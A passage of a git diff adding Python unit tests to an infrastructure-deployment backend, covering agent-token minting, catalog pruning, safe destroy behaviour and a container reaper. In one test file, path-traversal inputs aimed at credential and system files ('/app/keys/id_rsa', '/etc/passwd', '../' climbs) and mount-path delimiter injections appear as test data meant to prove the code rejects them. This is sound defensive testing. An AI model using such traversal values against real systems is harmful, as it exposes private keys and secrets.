_resolve_list_refs +# resolve_list_refs # --------------------------------------------------------------------------- @@ -301,13 +302,13 @@ def test_resolves_address_list(self): al = _resource("allow-list", spec={"addresses": ["10.0.0.0/8", "192.168.0.0/16"]}) from services.bnk.helpers import make_resource_map addr_map = make_resource_map([al]) - result = _resolve_list_refs({"allow-list"}, addr_map, "f5-bnk", "addresses") + result = resolve_list_refs({"allow-list"}, addr_map, "f5-bnk", "addresses") assert len(result) == 1 assert result[0]["name"] == "allow-list" assert result[0]["addresses"] == ["10.0.0.0/8", "192.168.0.0/16"] def test_missing_resource_returns_empty_list(self): - result = _resolve_list_refs({"nonexistent"}, {}, "f5-bnk", "addresses") + result = resolve_list_refs({"nonexistent"}, {}, "f5-bnk", "addresses") assert result[0]["addresses"] == [] @@ -354,6 +355,92 @@ def test_cne_with_features(self): assert result["phase"] == "Running" +class TestBuildEgress: + def test_egress_with_full_spec(self): + eg = _resource("bnk-egress-demo", namespace="f5-cne-system", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "egressSnatpool": "my-snatpool", + "firewallEnforcedPolicy": "egress-demo-fw", + "logProfile": "egress-log-profile", + "pseudoCNIConfig": { + "namespaces": ["bnk-egress-demo"], + "appPodInterface": "eth0", + "vxlan": { + "create": True, + "tmmInterfaceName": "ext-vlan", + "nodeInterfaceName": "ens5", + "ipv4Subnet": "192.168.0.0", + "ipv4PrefixLen": 16, + }, + }, + }, status={ + "conditions": [ + {"type": "Accepted", "status": "True", "reason": "Accepted"}, + {"type": "Programmed", "status": "True", "reason": "Programmed", + "message": "CR config sent to all grpc endpoints"}, + ], + }) + result = _build_egress(eg) + assert result["name"] == "bnk-egress-demo" + assert result["namespace"] == "f5-cne-system" + assert result["snatType"] == "SRC_TRANS_AUTOMAP" + assert result["egressSnatpool"] == "my-snatpool" + assert result["firewallEnforcedPolicy"] == "egress-demo-fw" + assert result["logProfile"] == "egress-log-profile" + assert result["capturedNamespaces"] == ["bnk-egress-demo"] + assert result["vxlan"] == {"tmmInterfaceName": "ext-vlan", "nodeInterfaceName": "ens5"} + assert result["ready"] is True + + def test_egress_with_missing_fields_uses_defaults(self): + eg = _resource("minimal-egress", spec={"snatType": "SRC_TRANS_NONE"}) + result = _build_egress(eg) + assert result["snatType"] == "SRC_TRANS_NONE" + assert result["egressSnatpool"] is None + assert result["firewallEnforcedPolicy"] is None + assert result["logProfile"] is None + assert result["capturedNamespaces"] == [] + assert result["vxlan"] is None + assert result["ready"] is False + + def test_egress_with_cni_config_but_no_vxlan_returns_none(self): + eg = _resource("egress-no-vxlan", namespace="f5-cne-system", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "pseudoCNIConfig": { + "namespaces": ["bnk-egress-demo"], + "appPodInterface": "eth0", + }, + }) + result = _build_egress(eg) + assert result["capturedNamespaces"] == ["bnk-egress-demo"] + assert result["vxlan"] is None + + def test_egress_with_null_namespaces_returns_empty_list(self): + eg = _resource("egress-null-ns", namespace="f5-cne-system", spec={ + "pseudoCNIConfig": { + "namespaces": None, + }, + }) + result = _build_egress(eg) + assert result["capturedNamespaces"] == [] + + def test_egress_with_null_or_empty_vxlan_returns_none(self): + eg_null = _resource("egress-null-vxlan", namespace="f5-cne-system", spec={ + "pseudoCNIConfig": { + "namespaces": ["demo"], + "vxlan": None, + }, + }) + assert _build_egress(eg_null)["vxlan"] is None + + eg_empty = _resource("egress-empty-vxlan", namespace="f5-cne-system", spec={ + "pseudoCNIConfig": { + "namespaces": ["demo"], + "vxlan": {}, + }, + }) + assert _build_egress(eg_empty)["vxlan"] is None + + # --------------------------------------------------------------------------- # _build_data_plane # --------------------------------------------------------------------------- @@ -372,7 +459,7 @@ def test_builds_all_sections(self): resources["cneinstance"] = [_resource("c1", spec={})] resources["f5spkstaticroute"] = [_resource("sr-1", spec={"destination": "10.0.0.0/8", "gateway": "10.1.1.1"})] resources["f5spksnatpool"] = [_resource("sp-1", spec={"addresses": ["10.2.0.1"]})] - resources["f5spkegress"] = [_resource("eg-1", spec={"sourceTranslation": {"type": "snat"}})] + resources["f5spkegress"] = [_resource("eg-1", spec={"snatType": "SRC_TRANS_AUTOMAP"})] resources["f5bigloghslpub"] = [_resource("hsl-1", spec={"pool": {"name": "pool-1"}, "protocol": "udp"})] resources["f5biglogprofile"] = [_resource("lp-1", spec={"publishers": ["pub-1"]})] diff --git a/backend/tests/unit/test_builtin_agent_token_step.py b/backend/tests/unit/test_builtin_agent_token_step.py new file mode 100644 index 00000000..97bdfa86 --- /dev/null +++ b/backend/tests/unit/test_builtin_agent_token_step.py @@ -0,0 +1,140 @@ +"""Tests for mint_builtin_agent_token_step (#148). + +The agent-facing endpoints now require an agent-class token by default, so the +built-in forge-agent needs one it can find without operator setup. The backend +mints it at startup into the keys volume; the agent container mounts exactly +that file. These tests pin the properties that make that safe: + + - the token is NARROW: role=agent and no agent_id, so it can register and + open a claimless WS and nothing more; + - it is stable across restarts (a valid file is left alone), so a running + agent is not invalidated every time the backend restarts; + - it is reissued when it no longer verifies (secret rotation). +""" + +from __future__ import annotations + +import pytest + + +@pytest.fixture +def keys_dir(tmp_path, monkeypatch): + # The token lives in its own volume/dir (AGENT_TOKEN_DIR), deliberately + # NOT beside jwt_secret.key -- see mint_builtin_agent_token_step. + monkeypatch.setenv("AGENT_TOKEN_DIR", str(tmp_path)) + return tmp_path + + +def _run_step(): + from startup_steps import mint_builtin_agent_token_step + mint_builtin_agent_token_step() + + +@pytest.mark.unit +class TestMintBuiltinAgentToken: + def test_writes_a_narrow_agent_token(self, keys_dir): + from services.auth_service import decode_token + + _run_step() + + path = keys_dir / "builtin_agent.token" + assert path.exists() + payload = decode_token(path.read_text().strip()) + assert payload["role"] == "agent" + assert payload["sub"] == "forge-builtin-agent" + # The whole point: it must NOT be bound to any agent, or it could + # impersonate a provisioned one over the WS. + assert "agent_id" not in payload + + def test_token_is_accepted_by_the_agent_bearer_gate(self, keys_dir): + """The minted token must actually pass _require_agent_bearer.""" + from unittest.mock import MagicMock, patch + + from routes.benchmarks import _require_agent_bearer + + _run_step() + token = (keys_dir / "builtin_agent.token").read_text().strip() + request = MagicMock() + request.headers = {"Authorization": f"Bearer {token}"} + + with patch("routes.benchmarks.settings") as s: + s.BENCHMARK_AGENT_AUTH_REQUIRED = True + payload = _require_agent_bearer(request) + assert payload["role"] == "agent" + + def test_valid_existing_token_is_left_alone(self, keys_dir): + """A running agent holds this token; restarting the backend must not rotate it.""" + _run_step() + first = (keys_dir / "builtin_agent.token").read_text() + + _run_step() + assert (keys_dir / "builtin_agent.token").read_text() == first + + def test_stale_token_is_reissued(self, keys_dir): + """A token that no longer verifies (secret rotated) is replaced.""" + from services.auth_service import decode_token + + (keys_dir / "builtin_agent.token").write_text("not.a.valid.jwt") + + _run_step() + + token = (keys_dir / "builtin_agent.token").read_text().strip() + assert token != "not.a.valid.jwt" + assert decode_token(token)["role"] == "agent" + + def test_empty_file_is_reissued(self, keys_dir): + from services.auth_service import decode_token + + (keys_dir / "builtin_agent.token").write_text("") + _run_step() + assert decode_token((keys_dir / "builtin_agent.token").read_text().strip())["role"] == "agent" + + def test_nearly_expired_token_is_reissued_early(self, keys_dir): + """A token that decodes today but expires soon must be renewed now. + + Otherwise it expires under a running agent, every heartbeat 4401s, and + nothing reissues until the NEXT backend restart -- a silent lockout. + """ + from datetime import timedelta + + from services.auth_service import create_access_token, decode_token + + soon = create_access_token( + {"sub": "forge-builtin-agent", "role": "agent"}, + expires_delta=timedelta(days=5), + ) + (keys_dir / "builtin_agent.token").write_text(soon) + + _run_step() + + token = (keys_dir / "builtin_agent.token").read_text().strip() + assert token != soon, "near-expiry token was left alone" + exp = decode_token(token)["exp"] + import time + assert exp - time.time() > 300 * 86400, "reissued token is not long-lived" + + def test_reissue_restores_world_read_on_a_locked_down_file(self, keys_dir): + """chmod must apply on rewrite, not only on create. + + An opener's mode applies only when the file is created; rewriting an + existing 0600 file keeps it 0600, and the agent (a different uid) could + not read the reissued token. + """ + import stat + + p = keys_dir / "builtin_agent.token" + p.write_text("not.a.valid.jwt") + p.chmod(0o600) + + _run_step() + + mode = stat.S_IMODE(p.stat().st_mode) + assert mode & stat.S_IROTH, f"reissued token file is {oct(mode)}, agent cannot read it" + + def test_file_is_world_readable(self, keys_dir): + """The agent runs as a different uid and reads it via the compose mount.""" + import stat + + _run_step() + mode = stat.S_IMODE((keys_dir / "builtin_agent.token").stat().st_mode) + assert mode & stat.S_IROTH, f"mode {oct(mode)} is not world-readable" diff --git a/backend/tests/unit/test_catalog_prune.py b/backend/tests/unit/test_catalog_prune.py new file mode 100644 index 00000000..013a5765 --- /dev/null +++ b/backend/tests/unit/test_catalog_prune.py @@ -0,0 +1,172 @@ +"""Unit tests for catalog pruning (D-033 version retirement). + +The interesting cases are the refusals. Deactivating is easy; what matters is +that a prune never removes something a deployment still depends on, and never +leaves a module path with no latest version. +""" + +from unittest.mock import MagicMock, patch + +import pytest + +from services.catalog_prune_service import prune_blueprint_source, prune_module_source + + +def _mod(rid, path, version, active=True, latest=False): + m = MagicMock() + m.id, m.path, m.version, m.is_active, m.is_latest = rid, path, version, active, latest + return m + + +def _rel(rid, bp_id, version, active=True): + r = MagicMock() + r.id, r.blueprint_id, r.blueprint_version, r.is_active = rid, bp_id, version, active + return r + + +def _db(rows, ref_count=0): + """A Session whose module/release query returns rows and whose reference + count query returns ref_count.""" + db = MagicMock() + first_query = MagicMock() + first_query.filter.return_value.all.return_value = rows + ref_query = MagicMock() + ref_query.filter.return_value.count.return_value = ref_count + db.query.side_effect = lambda model: first_query if not hasattr(model, "_is_ref") else ref_query + + def q(model): + name = getattr(model, "__name__", str(model)) + if name in ("ProjectModule", "StackInstance"): + return ref_query + return first_query + db.query.side_effect = q + return db + + +@pytest.mark.unit +class TestPruneModules: + def test_keeps_newest_and_deactivates_the_rest(self): + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0"), _mod(3, "harbor", "1.5.0")] + db = _db(rows) + with patch("services.catalog_prune_service.recompute_is_latest"): + res = prune_module_source(db, 7, keep=1) + by_ver = {i.version: i.action for i in res.items} + assert by_ver["2.0.0"] == "kept" + assert by_ver["1.5.0"] == "deactivated" + assert by_ver["1.0.0"] == "deactivated" + assert rows[1].is_active is True # newest untouched + assert rows[0].is_active is False + + def test_keep_n_retains_that_many(self): + rows = [_mod(i, "harbor", f"{i}.0.0") for i in range(1, 5)] + db = _db(rows) + with patch("services.catalog_prune_service.recompute_is_latest"): + res = prune_module_source(db, 7, keep=2) + kept = sorted(i.version for i in res.items if i.action == "kept") + assert kept == ["3.0.0", "4.0.0"] + + def test_dry_run_changes_nothing(self): + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0")] + db = _db(rows) + with patch("services.catalog_prune_service.recompute_is_latest") as rc: + res = prune_module_source(db, 7, keep=1, dry_run=True) + assert any(i.action == "deactivated" for i in res.items) + assert rows[0].is_active is True # reported, not applied + db.delete.assert_not_called() + rc.assert_not_called() + + def test_delete_removes_only_unreferenced_versions(self): + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0")] + db = _db(rows, ref_count=0) + with patch("services.catalog_prune_service.recompute_is_latest"): + res = prune_module_source(db, 7, keep=1, delete=True) + assert [i.action for i in res.items if i.version == "1.0.0"] == ["deleted"] + db.delete.assert_called_once_with(rows[0]) + + def test_a_version_with_a_project_is_left_completely_alone(self): + """The guard that matters. Not deleted, and not even hidden — the catalog + must not stop showing the version a running deployment is on.""" + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0")] + db = _db(rows, ref_count=3) + with patch("services.catalog_prune_service.recompute_is_latest"): + res = prune_module_source(db, 7, keep=1, delete=True) + item = next(i for i in res.items if i.version == "1.0.0") + assert item.action == "in_use" + assert "3 project module(s)" in item.reason + db.delete.assert_not_called() + assert rows[0].is_active is True + + def test_the_guard_applies_without_delete_too(self): + """The reference check is not conditional on `delete`.""" + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0")] + db = _db(rows, ref_count=1) + with patch("services.catalog_prune_service.recompute_is_latest"): + res = prune_module_source(db, 7, keep=1) # deactivate mode + assert next(i for i in res.items if i.version == "1.0.0").action == "in_use" + assert rows[0].is_active is True + + def test_include_in_use_hides_but_still_never_deletes(self): + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0")] + db = _db(rows, ref_count=2) + with patch("services.catalog_prune_service.recompute_is_latest"): + res = prune_module_source(db, 7, keep=1, delete=True, include_in_use=True) + item = next(i for i in res.items if i.version == "1.0.0") + assert item.action == "deactivated" + assert "hidden, not deleted" in item.reason + db.delete.assert_not_called() + assert rows[0].is_active is False + + def test_is_latest_is_recomputed_for_touched_paths(self): + """Without this a path whose newest row was deactivated has no latest at + all, and the module disappears instead of falling back.""" + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0")] + db = _db(rows) + with patch("services.catalog_prune_service.recompute_is_latest") as rc: + prune_module_source(db, 7, keep=1) + rc.assert_called_once_with(db, 7, "harbor") + + def test_each_path_is_pruned_independently(self): + rows = [_mod(1, "harbor", "1.0.0"), _mod(2, "harbor", "2.0.0"), _mod(3, "flp", "9.0.0")] + db = _db(rows) + with patch("services.catalog_prune_service.recompute_is_latest"): + res = prune_module_source(db, 7, keep=1) + flp = [i for i in res.items if i.identity == "flp"] + assert len(flp) == 1 and flp[0].action == "kept" # sole version survives + + +@pytest.mark.unit +class TestPruneBlueprints: + def test_keeps_newest_release_and_deactivates_the_rest(self): + rows = [_rel(1, "ibm-harbor-registry", "1.0.0"), _rel(2, "ibm-harbor-registry", "4.2.0")] + db = _db(rows) + res = prune_blueprint_source(db, 3, keep=1) + by_ver = {i.version: i.action for i in res.items} + assert by_ver["4.2.0"] == "kept" + assert by_ver["1.0.0"] == "deactivated" + + def test_a_deployed_release_is_left_completely_alone(self): + """ON DELETE SET NULL means a delete would succeed and quietly strip the + stack of what it was deployed from.""" + rows = [_rel(1, "ibm-harbor-registry", "1.0.0"), _rel(2, "ibm-harbor-registry", "4.2.0")] + db = _db(rows, ref_count=1) + res = prune_blueprint_source(db, 3, keep=1, delete=True) + item = next(i for i in res.items if i.version == "1.0.0") + assert item.action == "in_use" + assert "stack instance" in item.reason + db.delete.assert_not_called() + assert rows[0].is_active is True + + def test_deployed_release_guard_applies_without_delete(self): + rows = [_rel(1, "bp", "1.0.0"), _rel(2, "bp", "2.0.0")] + db = _db(rows, ref_count=1) + res = prune_blueprint_source(db, 3, keep=1) + assert next(i for i in res.items if i.version == "1.0.0").action == "in_use" + assert rows[0].is_active is True + + def test_counts_summarise_the_outcome(self): + rows = [_rel(i, "bp", f"{i}.0.0") for i in range(1, 4)] + db = _db(rows) + out = prune_blueprint_source(db, 3, keep=1).as_dict() + assert out["counts"]["kept"] == 1 + assert out["counts"]["deactivated"] == 2 + assert out["keep"] == 1 and out["source_id"] == 3 diff --git a/backend/tests/unit/test_cli_destroy_uses_applied_config.py b/backend/tests/unit/test_cli_destroy_uses_applied_config.py new file mode 100644 index 00000000..91ea296f --- /dev/null +++ b/backend/tests/unit/test_cli_destroy_uses_applied_config.py @@ -0,0 +1,219 @@ +""" +Regression tests for #82 — cli-bnkctl destroy must use the APPLIED config. + +`run_cli_destroy` built its context with `_build_cli_context`, which re-renders +cluster.yaml from the project's *current* form variables. `BnkctlEngine.destroy` +then overwrote the workspace cluster.yaml with that render before running +`awsbnkctl down -f `. If `cluster_name` (or any identity variable) had been +edited after apply, `down` targeted a config that no longer matched +`.awsbnkctl//state.env` — reporting success while the real EKS cluster +stayed up, unmanaged, and billing. + +Two halves are pinned here: + 1. the task layer no longer renders cluster.yaml on the destroy path, and + 2. the engine reads the applied file rather than rewriting it, and refuses + outright when it is absent instead of fabricating one. +""" + +from __future__ import annotations + +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import MagicMock, patch + +import pytest +import yaml + +APPLIED_YAML = """\ +apiVersion: bnk.f5.com/v1 +kind: ClusterTopology +metadata: + name: bnk-demo-applied + region: ap-southeast-2 +pattern: external-only +""" + + +def _make_module(project_id: int = 42) -> MagicMock: + module = MagicMock() + module.id = 1 + module.project_id = project_id + module.path_in_project = "cli-bnkctl/awsbnkctl/bnk-demo" + # The operator renamed the cluster after apply — this is the trigger. + module.variables = {"cluster_name": "renamed-after-apply", "region": "ap-southeast-2"} + module.variable_overrides = {} + module.library_module = MagicMock() + module.library_module.path = "cli-bnkctl/awsbnkctl/bnk-demo" + module.library_module.variables_schema = [] + module.library_module.category = "cli-bnkctl" + module.project = MagicMock() + module.project.id = project_id + module.project.name = "test-project" + return module + + +@pytest.mark.unit +class TestBuildCliContextForDestroy: + def test_destroy_context_does_not_render_cluster_yaml(self): + """for_destroy=True must leave cluster_yaml unset, so nothing overwrites the applied file.""" + from tasks.cli_tasks import _build_cli_context + + module = _make_module() + with ( + patch("tasks.cli_tasks.SecretsService") as MockSecrets, + patch("tasks.cli_tasks.get_cloud_credentials_env", return_value={}), + ): + MockSecrets.return_value.prepare_secrets_for_execution.return_value = ({}, []) + ctx = _build_cli_context(MagicMock(), module, for_destroy=True) + + assert "cluster_yaml" not in ctx.variables, ( + "destroy context carried a rendered cluster.yaml — the engine would write it " + "over the applied config and could target the wrong cluster" + ) + + def test_apply_context_still_renders_cluster_yaml(self): + """The default path is unchanged: apply/plan still need a fresh render.""" + from tasks.cli_tasks import _build_cli_context + + module = _make_module() + with ( + patch("tasks.cli_tasks.SecretsService") as MockSecrets, + patch("tasks.cli_tasks.get_cloud_credentials_env", return_value={}), + ): + MockSecrets.return_value.prepare_secrets_for_execution.return_value = ({}, []) + ctx = _build_cli_context(MagicMock(), module) + + assert "cluster_yaml" in ctx.variables + doc = yaml.safe_load(ctx.variables["cluster_yaml"]) + assert doc["metadata"]["name"] == "renamed-after-apply" + + +@pytest.mark.unit +class TestEngineDestroyUsesAppliedConfig: + def _ctx(self, project_id: int) -> SimpleNamespace: + return SimpleNamespace( + module_id=1, + project_id=project_id, + path="cli-bnkctl/awsbnkctl/bnk-demo", + category="cli-bnkctl", + # What the form says NOW — deliberately different from the applied config. + variables={"name": "renamed-after-apply", "bnkctl_tool": "awsbnkctl"}, + credentials_env={}, + ) + + def _engine(self, tmp_path: Path): + from services.execution.cli_engine import BnkctlEngine + + engine = BnkctlEngine(MagicMock()) + engine._WORKSPACE_ROOT = str(tmp_path) + return engine + + def test_destroy_passes_applied_config_untouched(self, tmp_path): + """`down -f` must receive the applied cluster.yaml, byte-for-byte.""" + engine = self._engine(tmp_path) + ctx = self._ctx(project_id=42) + workspace = tmp_path / "42" / "awsbnkctl" + workspace.mkdir(parents=True) + cfg = workspace / "cluster.yaml" + cfg.write_text(APPLIED_YAML) + + captured: dict = {} + + def _fake_run(ctx_, args, env, cwd, on_output=None): + captured["args"] = args + return 0, "destroyed" + + with ( + patch.object(engine, "_run_streaming_with_ctx", side_effect=_fake_run), + patch.object(engine, "_update_stage"), + patch("services.execution.cli_engine.shutil.which", return_value="/usr/local/bin/awsbnkctl"), + ): + result = engine.destroy(ctx) + + assert result.success is True + assert cfg.read_text() == APPLIED_YAML, ( + "destroy rewrote the applied cluster.yaml — this is the #82 orphaning bug" + ) + assert str(cfg) in captured["args"] + # And the config handed to the tool still names the cluster that exists. + assert yaml.safe_load(cfg.read_text())["metadata"]["name"] == "bnk-demo-applied" + + def test_destroy_refuses_when_applied_config_missing(self, tmp_path): + """No applied config → refuse. Never fabricate one from current form variables.""" + engine = self._engine(tmp_path) + ctx = self._ctx(project_id=99) + + with ( + patch.object(engine, "_run_streaming_with_ctx") as mock_run, + patch.object(engine, "_update_stage"), + patch("services.execution.cli_engine.shutil.which", return_value="/usr/local/bin/awsbnkctl"), + ): + result = engine.destroy(ctx) + + assert result.success is False + assert "refusing to destroy" in (result.error_message or "") + mock_run.assert_not_called(), "awsbnkctl down ran without an applied config" + # Nothing was written in place of the missing config. + assert not (tmp_path / "99" / "awsbnkctl" / "cluster.yaml").exists() + + def test_explicit_cluster_yaml_restores_a_lost_workspace(self, tmp_path): + """An operator can hand the applied config back when the workspace is gone. + + Safe only because the destroy context no longer renders one: with + for_destroy=True nothing populates cluster_yaml from the project form, so + a value here was set deliberately on the module. + """ + engine = self._engine(tmp_path) + ctx = self._ctx(project_id=77) + ctx.variables["cluster_yaml"] = APPLIED_YAML + + captured: dict = {} + + def _fake_run(ctx_, args, env, cwd, on_output=None): + captured["args"] = args + return 0, "destroyed" + + with ( + patch.object(engine, "_run_streaming_with_ctx", side_effect=_fake_run), + patch.object(engine, "_update_stage"), + patch("services.execution.cli_engine.shutil.which", return_value="/usr/local/bin/awsbnkctl"), + ): + result = engine.destroy(ctx) + + assert result.success is True + cfg = tmp_path / "77" / "awsbnkctl" / "cluster.yaml" + assert cfg.read_text() == APPLIED_YAML + assert str(cfg) in captured["args"] + + def test_form_variables_alone_still_refuse(self, tmp_path): + """The #82 guarantee: form vars must never be turned into a destroy config.""" + engine = self._engine(tmp_path) + ctx = self._ctx(project_id=78) + # Exactly what the old code would have rendered from -- and no cluster_yaml. + ctx.variables["cluster_name"] = "renamed-after-apply" + + with ( + patch.object(engine, "_run_streaming_with_ctx") as mock_run, + patch.object(engine, "_update_stage"), + patch("services.execution.cli_engine.shutil.which", return_value="/usr/local/bin/awsbnkctl"), + ): + result = engine.destroy(ctx) + + assert result.success is False + mock_run.assert_not_called() + assert not (tmp_path / "78" / "awsbnkctl" / "cluster.yaml").exists() + + def test_applied_cluster_name_read_from_config(self, tmp_path): + from services.execution.cli_engine import BnkctlEngine + + cfg = tmp_path / "cluster.yaml" + cfg.write_text(APPLIED_YAML) + assert BnkctlEngine._applied_cluster_name(cfg) == "bnk-demo-applied" + + def test_applied_cluster_name_tolerates_malformed_config(self, tmp_path): + """A malformed config must not block a destroy — the tool still gets the path.""" + from services.execution.cli_engine import BnkctlEngine + + cfg = tmp_path / "cluster.yaml" + cfg.write_text("{{ not yaml at all") + assert BnkctlEngine._applied_cluster_name(cfg) is None diff --git a/backend/tests/unit/test_cli_engine.py b/backend/tests/unit/test_cli_engine.py index f6a1a3c4..c7f29df0 100644 --- a/backend/tests/unit/test_cli_engine.py +++ b/backend/tests/unit/test_cli_engine.py @@ -210,6 +210,18 @@ def test_destroy_passes_yes_flag(tmp_path): engine = _make_engine_with_stub(str(cfg_echo_stub), workspace_root) ctx = _make_ctx() + # Seed the applied cluster.yaml. Since #82 destroy runs against the config + # written at apply time and refuses when it is absent, rather than rendering + # one from the current form variables (which could target the wrong cluster + # and orphan the live one). A real destroy always follows an apply, so this + # is the state the test means to exercise; this test asserts the --yes flag + # contract, not the missing-config path. + workspace = Path(workspace_root) / str(ctx.project_id) / "awsbnkctl" + workspace.mkdir(parents=True, exist_ok=True) + (workspace / "cluster.yaml").write_text( + "metadata:\n name: test-cluster\n" + ) + received: list[str] = [] result = engine.destroy(ctx, on_output=received.append) diff --git a/backend/tests/unit/test_container_engine.py b/backend/tests/unit/test_container_engine.py index bf4e4a5e..0ae2f98c 100644 --- a/backend/tests/unit/test_container_engine.py +++ b/backend/tests/unit/test_container_engine.py @@ -454,3 +454,57 @@ def test_run_action_step_failure_reports_failure(self, tmp_path): ) assert not result.success assert "exit 3" in (result.error_message or "") + + +@pytest.mark.unit +class TestOutputsFileContainment: + """state.outputs_file must not escape the workspace. + + Issue #408.2: the manifest value reached os.path.join with only a .strip(), + so an absolute path or a ../ climb read a file outside the workspace, and its + contents were normalized into module.outputs and shown to the user — + disclosure of worker files such as /app/keys and /app/secrets. The manifest + validator never checked the field. + """ + + @pytest.mark.parametrize("escape", [ + "/app/keys/id_rsa", + "../../app/secrets/creds.json", + "..", + "../outputs.json", + "/etc/passwd", + "subdir/../../../etc/passwd", + ]) + def test_escaping_paths_fall_back_to_the_default(self, tmp_path, escape): + runner = FakeRunner() + engine = _engine(runner, tmp_path) + ctx = _ctx(_manifest(state={"outputs_file": escape})) + + resolved = engine._resolve_outputs_filename(ctx) + + assert resolved == engine.outputs_filename, ( + f"state.outputs_file={escape!r} was accepted — it reads a file outside " + "the workspace and surfaces it in module.outputs (#408.2)" + ) + + @pytest.mark.parametrize("legit", [ + "outputs.json", + ".roksbnkctl/forge/cluster-outputs.json", + "./nested/out.json", + "a/b/c/outputs.json", + ]) + def test_workspace_relative_paths_are_still_honoured(self, tmp_path, legit): + """Contrast: the shipped artifacts declare nested relative paths.""" + runner = FakeRunner() + engine = _engine(runner, tmp_path) + ctx = _ctx(_manifest(state={"outputs_file": legit})) + + assert engine._resolve_outputs_filename(ctx) == legit + + def test_absent_or_blank_still_uses_the_default(self, tmp_path): + runner = FakeRunner() + engine = _engine(runner, tmp_path) + assert engine._resolve_outputs_filename(_ctx(_manifest())) == engine.outputs_filename + assert engine._resolve_outputs_filename( + _ctx(_manifest(state={"outputs_file": " "})) + ) == engine.outputs_filename diff --git a/backend/tests/unit/test_container_reaper.py b/backend/tests/unit/test_container_reaper.py new file mode 100644 index 00000000..8709e206 --- /dev/null +++ b/backend/tests/unit/test_container_reaper.py @@ -0,0 +1,101 @@ +"""Unit tests for the orphaned-step-container reaper. + +The reaper is the backstop for a container whose worker died and whose step is +never retried. The dangerous case — an orphan racing its own retry against one +workspace — is closed synchronously in DockerRunner, not here; what these cover +is that the sweep uses the same live/dead signal execution_janitor already +applies to tasks, and that it refuses to guess. +""" + +from unittest.mock import MagicMock, patch + +import pytest + +from tasks.container_reaper import reap_orphaned_step_containers + + +def _docker(ids, labels_by_id, removed): + """Stand in for `docker ps`, `docker inspect` and `docker rm`.""" + def _run(argv, **kwargs): + if "ps" in argv: + return MagicMock(returncode=0, stdout="\n".join(ids), stderr="") + if "inspect" in argv: + cid = argv[-1] + import json + return MagicMock(returncode=0, stdout=json.dumps(labels_by_id.get(cid)), stderr="") + if "rm" in argv: + removed.append(argv[-1]) + return MagicMock(returncode=0, stdout="", stderr="") + return MagicMock(returncode=0, stdout="", stderr="") + + return _run + + +@pytest.mark.unit +class TestContainerReaper: + def test_reaps_a_container_whose_task_is_no_longer_live(self): + removed: list[str] = [] + labels = {"c-dead": {"bnkforge.step": "1", "bnkforge.task": "task-gone"}} + with patch("subprocess.run", side_effect=_docker(["c-dead"], labels, removed)), \ + patch("services.execution_janitor.get_live_task_ids", return_value={"task-live"}): + result = reap_orphaned_step_containers() + + assert removed == ["c-dead"] + assert result["reaped"] == 1 + + def test_leaves_a_container_whose_task_is_still_running(self): + """A running step must never be swept out from under itself.""" + removed: list[str] = [] + labels = {"c-live": {"bnkforge.step": "1", "bnkforge.task": "task-live"}} + with patch("subprocess.run", side_effect=_docker(["c-live"], labels, removed)), \ + patch("services.execution_janitor.get_live_task_ids", return_value={"task-live"}): + result = reap_orphaned_step_containers() + + assert removed == [] + assert result["reaped"] == 0 + + def test_leaves_an_unowned_container_alone(self): + """No owning task label is not evidence of an orphan. + + Such a container predates the labelling. Removing on a guess would kill + a running deployment, which is worse than the leak it would recover. + """ + removed: list[str] = [] + labels = {"c-old": {"bnkforge.step": "1"}} + # A non-empty live set: this task's own id is always in a healthy one, so + # set() would mean "lookup failed" and short-circuit before reaching the + # unowned branch this test is about. + with patch("subprocess.run", side_effect=_docker(["c-old"], labels, removed)), \ + patch("services.execution_janitor.get_live_task_ids", + return_value={"celery-self"}): + result = reap_orphaned_step_containers() + + assert removed == [] + assert result["unowned"] == 1 + + def test_a_failing_ps_reports_rather_than_raises(self): + """A beat tick must not blow up because the endpoint is unreachable.""" + with patch("subprocess.run", return_value=MagicMock( + returncode=1, stdout="", stderr="cannot connect")), \ + patch("services.execution_janitor.get_live_task_ids", return_value=set()): + result = reap_orphaned_step_containers() + + assert result["reaped"] == 0 + assert "cannot connect" in result["error"] + + def test_a_degraded_live_lookup_reaps_nothing(self): + """Wider blast radius than the runner's sweep: an empty set would make + every labelled container on the host look dead, running ones included. + + This function is itself a Celery task, so its own id is in the set + whenever the lookup works — empty means the lookup failed. + """ + removed: list[str] = [] + labels = {"runningnow1": {"bnkforge.step": "1", "bnkforge.task": "celery-alive"}} + with patch("subprocess.run", side_effect=_docker(["runningnow1"], labels, removed)), \ + patch("services.execution_janitor.get_live_task_ids", return_value=set()): + result = reap_orphaned_step_containers() + + assert removed == [], "a degraded lookup must not reap a running container" + assert result["reaped"] == 0 + assert result.get("skipped") == "live-task set unavailable" diff --git a/backend/tests/unit/test_container_runner.py b/backend/tests/unit/test_container_runner.py index 37bd2ae1..358ff944 100644 --- a/backend/tests/unit/test_container_runner.py +++ b/backend/tests/unit/test_container_runner.py @@ -6,11 +6,18 @@ 2. run_step result mapping (success / failure / timeout) + authfile cleanup. """ +import os import subprocess +import threading +import time +from contextlib import contextmanager from unittest.mock import MagicMock, patch import pytest +# Captured before any test patches time.sleep out from under the poll loop. +_real_sleep = time.sleep + from services.execution.container_runner import ( DockerRunner, ResourceLimits, @@ -159,47 +166,166 @@ def test_relative_mount_path_rejected(self): with pytest.raises(ValueError, match="absolute path"): runner.build_run_argv(_spec(mount_path="state")) + @pytest.mark.parametrize("bad", ["/state,ro", "/state:z", "/st ate"]) + def test_mount_path_delimiters_rejected(self, bad): + """#79: mount_path is spliced into comma-delimited --mount options and a + colon-delimited -v spec, so ',' / ':' / whitespace would corrupt the + argv exactly as they would in workspace_volume/workspace_subpath -- + which were already checked. Same rule for the sibling.""" + runner = DockerRunner() + with pytest.raises(ValueError, match="must not contain"): + runner.build_run_argv(_spec(mount_path=bad)) + -class _FakePopen: - """subprocess.Popen stand-in: stdout yields the given lines; kill() unblocks a - blocking stdout so the watchdog-timeout path can be exercised deterministically.""" +class _FakeFollow: + """Stand-in for the ``docker logs --follow`` child 